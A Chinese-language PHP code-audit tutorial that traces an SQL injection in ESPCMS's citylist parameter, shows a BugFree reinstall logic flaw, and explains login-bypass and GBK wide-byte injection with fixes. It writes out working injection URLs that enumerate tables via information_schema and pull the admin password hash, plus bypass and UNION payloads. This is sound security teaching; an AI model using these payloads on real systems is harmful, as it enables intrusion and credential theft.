You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

15 KiB

1. 敏感函数回溯参数过程

1.1. 漏洞浮现过程

目前使用得最多的一种方法因为大多数漏洞是由于函数的使用不当造成的。非函数使用不当的漏洞如SQL注入也有一些特征比如SELECT、INSERT等再结合FROM和WHERE等关键字也可以判断是否是一条SQL语句。通过对字符串的识别分析就能判断这个SQL语句里面的参数有没有使用单引号过滤。

  • 优点只需要搜索相应敏感关键字,可以快速地挖掘想要的漏洞,具有可定向挖掘和高效、高质量的优点。
  • 缺点由于没有通读代码,对程序的整体框架了解不够深入,在挖掘漏洞时定位利用点会花费更多时间,另外对逻辑漏洞挖掘覆盖不到

image-20251014080723858

image-20251014080848214

双击选中的行位置,进入到代码浏览:

image-20251014081118305

右边是函数列表和变量列表。分析一下高亮代码:

$sql = "select * from $db_table where parentid=$parentid";

显然这里是构造一个SQL的查询字符串。在PHP中$db_table 这个变量显然是数据库中的表名。由:

$db_table = db_prefix . 'city';

这条语句生成。

$parentid 是一个变量这里只是用到了字符串格式化工具没有用到特殊字符的转义因此可能存在SQL注入漏洞。

我们在再看看这行:

$parentid = $this->fun->accept('parentid', 'R');

选中 accept 函数,右键定位到函数:

image-20251014082216767

选中第二个,定位到函数的内容:

	function accept($k, $var='R', $htmlcode=true, $rehtml=false) {
		switch ($var) {
			case 'G':
				$var = &$_GET;
				break;
			case 'P':
				$var = &$_POST;
				break;
			case 'C':
				$var = &$_COOKIE;
				break;
			case 'R':
				$var = &$_GET;
				if (empty($var[$k])) {
					$var = &$_POST;
				}
				break;
		}
		$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
		return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
	}

我们看到case R这个选择条件知道了这其实是中 GET或者POST中去读取一个名字为 $k 的变量本例子是parentid。并且使用 daddslashes 对这个字符串变量的值进行转义:

	function daddslashes($string, $force=0, $strip=FALSE) {
		if (!get_magic_quotes_gpc() || $force == 1) {
			if (is_array($string)) {
				foreach ($string as $key => $val) {
					$string[$key] = addslashes($strip ? stripslashes($val) : $val);
				}
			} else {
				$string = addslashes($strip ? stripslashes($string) : $string);
			}
		}
		return $string;
	}

注意addslashes函数是对字符串中的 '(单引号)、"(双引号)、\(反斜杠)和 NULLASCII 码为 \x00添加反斜杠。stripslashes是取消反斜杠。虽然这个函数可以防止部分SQL注入注意不是全部无法抵御所有 SQL 注入攻击(如多字节编码攻击、二次转义问题)。但是传入参数$force的值是0因此没有对传入的字符串进行任何处理

返回到 citylist.php 这个文件,分析 important 这个类。选中这个类名,右键全局搜索:

image-20251014085751012

定位到 /adminsoft/index.php

$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;

include admin_ROOT . adminfile . "/control/$archive.php";
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
	$control->$action();
} else {
	exit('错误:系统方法错误!');
}

注意这里的 include显然是需要包含刚刚我们找的的citylist.php这个文件因此在构造 url 的时候,需要输入这个参数;只有在包含了 citylist.php 这个文件后,在可以实例化 citylist.php 中的 important 类。

important 这个类被实例化后赋值给了变量 $control然后使用了 $control->$action(); 来调用类中的方法 $action。

$action = 'on' . $action;

而 citylist.php 中类 important 的方法是 oncitylist因此也需要在 url 中构造 action=citylist 这个参数。

构造的url中应该包含

adminsoft/index.php?archive=citylist&action=citylist

最后利用:

$sql = "select * from $db_table where parentid=$parentid";

只需要注入 parentid 这个参数就好了完整的注入URL是

http://localhost:8081/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,user(),4,5

注意因为安装位置和端口的问题你的URL可能和上诉的不一样

在url编码中 %20 表示空格因此得到SQL查询字符串是

select * from espcms_city where parentid=-1 union select 1,2,user(),4,5

注入结果:

image-20251014092048889

1.2. 技巧

确定表的列数:

adminsoft/index.php?archive=citylist&action=citylist&parentid=1 order by 6

错误表示表的列数小于5

adminsoft/index.php?archive=citylist&action=citylist&parentid=1 order by 5

有返回数据因此表的列数可以确定为5

/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,3,4,5

结果为3表示php代码显示的是第三列

因此 union select 1,2,user(),4,5 可以显示php连接的用户。

/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),4,5

显示espcms_admin_member

/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x657370636d735f61646d696e5f6d656d626572 limit 1,1) ,4,5

显示结果是 username

注意0x657370636d735f61646d696e5f6d656d626572 是 espcms_admin_member 的人ASC编码可以使用解码工具进行解码

修改成 改为 limit 2,1 的结果是 password

/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,(select password from espcms_admin_member),4,5

结果是 5f9f58caa9f8ae107bf9881da1209ff9这个就是密码分析源码可以得知是经过MD5加密的因此还需要进一步的破解。

2. 通读全文代码

前面提到的根据敏感关键字来回溯传入的参数,是一种逆向追踪的思路。但这种方式并不适合运用在企业中做安全运营时的场景。在企业中做自身产品的代码审计时,我们需要了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。

通读全文代码也有一定的技巧首先我们要看程序的大体代码结构,如主目录有哪些文件,模块目录有哪些文件,插件目录有哪些文件。还要注意文件的大小、创建时间。

根据这些文件的命名就可以大致知道这个程序实现了哪些功能,核心文件是哪些。在看程序目录结构的时候,我们要特别注意以下几个文件:

  • 函数集文件通常命名中包含functions或者common等关键字。打开index.php或者一些功能性 文件,在头部一般都能找到。
  • 配置文件通常命名中包括config关键字
  • 安全过滤文件通常命名中有filter, safe, check等关键字这类文件主要是对 参数进行过滤比较常见的是针对SQL注入和XSS过滤还有文件路径、执行的系统命令的参数其他的则相对少见。
  • index文件程序的入口文件所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件其中核心的文件又有哪些。而不同目录的index文件也有不同的实现方式建议最好先将几个核心目录的 index文件都简单读一遍。

学习代码审计的前期建议不要去读开源框架或者使用开源框架的应用, 先去chinaz、admin5之类的源码下载网站下载一些小应用来读并且一定要多找几套程序通读全文代码这样我们才能总结经验。等总结了一定的经验对PHP也比较熟悉的时候再去读--些像Thinkphp、Yii、Zend Framework等开源框架才能快速地挖掘高质量的漏洞。

如果用于研究代码可以在WEB服务器上安装php的调试扩展使用 VSCode或者是 PHPStorm 的调试功能阅读代码更有效率。

3. BugFree3.0.2重装漏洞案例

原书配套的bugfree代码并不能完整的运行但是不影响对漏洞的复现。

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : CHECK;
if(is_file("install.lock") && $action != UPGRADED && $action != INSTALLED)
{
    header("location: ../index.php");
}

$lang = getPreferredLanguage();
$viewDir =  dirname(__FILE__) . '/views/' . $lang . '/';
if(!is_dir($viewDir))
{
    $viewDir = dirname(__FILE__) . '/views/zh_cn/';
}

// 后面的安装界面代码省略

存在逻辑漏洞使用了header()并没有使用die()或者exit()等函数退出程序流程这个跳转只是HTTP头的跳转下方代码依然会继续执行这时候如果使用浏览器请求install/index.php文件则会跳转到首页。因此后面的代码会继续执行我们利用工具可以利用这一点。

正常安装后,在 install 目录中存在 install.lock 文件这个文件是安装后创建的。根据前面的代码当检查到这个文件的时候通过返回http头的location标签使得浏览器转向到 /index.php。其实浏览器是接收到了所有安装界面的代码的只不过转向后用户发觉不了。利用BurpShuit可以重建安装界面进而进行更进一步的分析和攻击。

  1. 打开Proxy的浏览器
  2. 访问 http://localhost/bugfree/install/index.php
  3. 在 HTTP History 中找到访问记录:
  4. 鼠标右键选择这个记录,点击 Send to Repeater或者 CTL+Rimage-20251014152413593
  5. 在Repeater中点击2发送后在3位置可以看到安装界面。image-20251014152648391

4. 简单的SQL 注入漏洞

4.1. 漏洞攻击

<?php
// 用户输入(未过滤)
$username = $_POST['username'];
$password = $_POST['password'];
 
// 危险操作:直接拼接 SQL 查询
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
 
if (mysqli_num_rows($result) > 0) {
    echo "登录成功!";
} else {
    echo "用户名或密码错误!";
}
?>

如何绕过密码验证?

攻击者在 username 输入框中输入:

admin' --

实际执行的 SQL

SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''

-- 是 SQL 注释符号,导致后续的 AND password = '' 被忽略。 查询变为:只要 username = 'admin' 成立即可登录,无需密码。

4.2. 漏洞原因和处理策略

输入的字符串包含特殊字符这些特殊字符与原有的SQL查询字符串一起构成了意外的SQL。输入的数据只能当作字符串使用要使用转义。

4.3. 漏洞修复

<?php
// 使用预处理语句防止注入
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
 
if ($result->num_rows > 0) {
    echo "登录成功!";
} else {
    echo "用户名或密码错误!";
}
?>

预使用PHP自带的SQL执行模板和绑定可以有效防止这种类型的SQL注入。

5. 宽字节注入

5.1. 宽字节注入原理

字符编码差异

  • 窄字节编码如ASCII每个字符占1字节0-127
  • 宽字节编码如GBK每个汉字占2字节首字节范围0x81-0xFE尾字节范围0x40-0xFE
  • 转义机制漏洞PHP的addslashes()函数会在单引号'前添加反斜杠\ASCII码0x5C进行转义。但在GBK编码中若反斜杠\0x5C与特定字符组合可能被解析为合法汉字导致转义失效。

攻击条件

  • 数据库字符集为GBK等宽字节编码。
  • 应用程序对用户输入进行单引号转义(如addslashes())。
  • 攻击者通过构造特殊字符序列,使转义符\与后续字符组合成合法汉字。

5.2. 攻击案例SQLI-LABS Less-32

场景某登录系统使用GBK编码且对用户输入的单引号进行转义。 漏洞代码

$username = addslashes($_GET['username']); // 转义单引号为\'
$sql = "SELECT * FROM users WHERE username = '$username'";

攻击步骤

  1. 正常输入测试 输入admin',经addslashes()转义后变为admin\'。 SQL语句SELECT * FROM users WHERE username = 'admin\'' 结果:单引号被转义,无法闭合字符串,查询正常。
  2. 宽字节注入构造 输入admin%df',其中%df是GBK编码中的高字节0xDF
    • 反斜杠\的ASCII码为0x5C%df%5c组合为0xDF 0x5C
    • 在GBK中0xDF 0x5C被解析为合法汉字“運”(或其他字符),转义符\失效。
    • 单引号'未被转义,成功闭合字符串。 SQL语句SELECT * FROM users WHERE username = 'admin運'--' 结果:--为SQL注释符后续条件被忽略攻击者可能绕过认证。
  3. 数据泄露验证 输入admin%df' AND 1=1 --+,若返回正常页面,说明注入成功。 进一步构造UNION查询获取数据
admin%df' UNION SELECT 1, group_concat(username), group_concat(password) FROM users --+

5.3. 防御措施

  1. 统一字符编码

    • 客户端、服务器、数据库均使用UTF-8编码避免编码转换错误。
    • MySQL中设置SET NAMES 'utf8mb4'
    • PHP中设置响应头header('Content-Type: text/html; charset=utf-8')
  2. 预处理语句(参数化查询)

    • 使用PDO或MySQLi的预处理功能避免直接拼接用户输入。
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$username]);
    
  3. 多字节安全过滤

    • 使用PHP的mbstring扩展处理字符串,如mb_ereg_replace()

    • 示例:替换单引号为转义字符

      $username = mb_ereg_replace("(['\"])", "\\\\$1", $username);
      
  4. 输入长度限制

    • 对用户输入设置合理长度,减少注入可能性。